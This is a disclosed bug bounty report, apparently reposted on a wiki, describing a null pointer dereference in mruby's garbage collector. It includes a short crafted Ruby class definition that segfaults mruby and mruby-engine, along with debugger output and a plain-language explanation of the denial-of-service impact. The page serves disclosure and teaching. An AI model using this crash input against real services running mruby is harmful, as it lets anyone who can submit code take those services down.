Null pointer dereference in mark_context_stack
A crafted Ruby class definition causes mruby and mruby-engine to dereference a null pointer during garbage collection, leading to a segmentation fault. An attacker who can supply Ruby code to the interpreter could crash the process.
- Triaged in 12 days
- Fixed in 18 days
- Paid in 19 days
- Disclosed after 19 days
The following code causes a segfault in mruby and mruby-engine:
class A < def to_str
0 and s@e--->{}
rescue ""
end
end
mruby crashes due to a null pointer dereference in mark_context_stack (gc.c:554):
553│ if (!mrb_immediate_p(v)) {
554├> if (mrb_basic_ptr(v)->tt == MRB_TT_FREE) {
555│ c->stbase[i] = mrb_nil_value();
(gdb) print v $1 = {value = {f = 0, p = 0x0, i = 0, sym = 0}, tt = 7013872} (gdb) print mrb_basic_ptr(v) $2 = (struct RBasic *) 0x0
mruby-engine appears to crash one line earlier, when returning from mrb_immediate_p (boxing_word.h:90):
89│ }
90├> return o.value.bp->tt;
91│ }
In this case, the variable v (the o parameter of mrb_immediate_p, which itself shows as optimized out on the test platform) was:
(gdb) print v $1 = {value = {p = 0x100000002, {i_flag = 0, i = 2147483649}, {sym_flag = 2, sym = 1}, bp = 0x100000002, fp = 0x100000002, vp = 0x100000002}, w = 4294967298}
Test platform: Linux Mint 17.3 (Cinnamon 64-bit), built with gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3)
mruby-engine SHA: 09be20e67888b20bebf9b0588bc3cbec7f55325f mruby (submodule) SHA: a9f7b41219810fdbe0cffa872051cd091fc070ac
Thank you, Dinko Galetic Denis Kasak
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the parser or compiler accepts a malformed class definition and leaves a stack slot holding a null value, which the garbage collector later dereferences without a null check.
What the attacker needed
Ability to run Ruby code in mruby
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A null pointer dereference happens when a program tries to use a memory address that points to nothing, which usually makes it crash. Here, a strange piece of Ruby code confuses the interpreter's memory management, so when it later cleans up memory it follows an empty pointer and the whole program stops. Anyone allowed to run code in that interpreter could use this to take it down.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.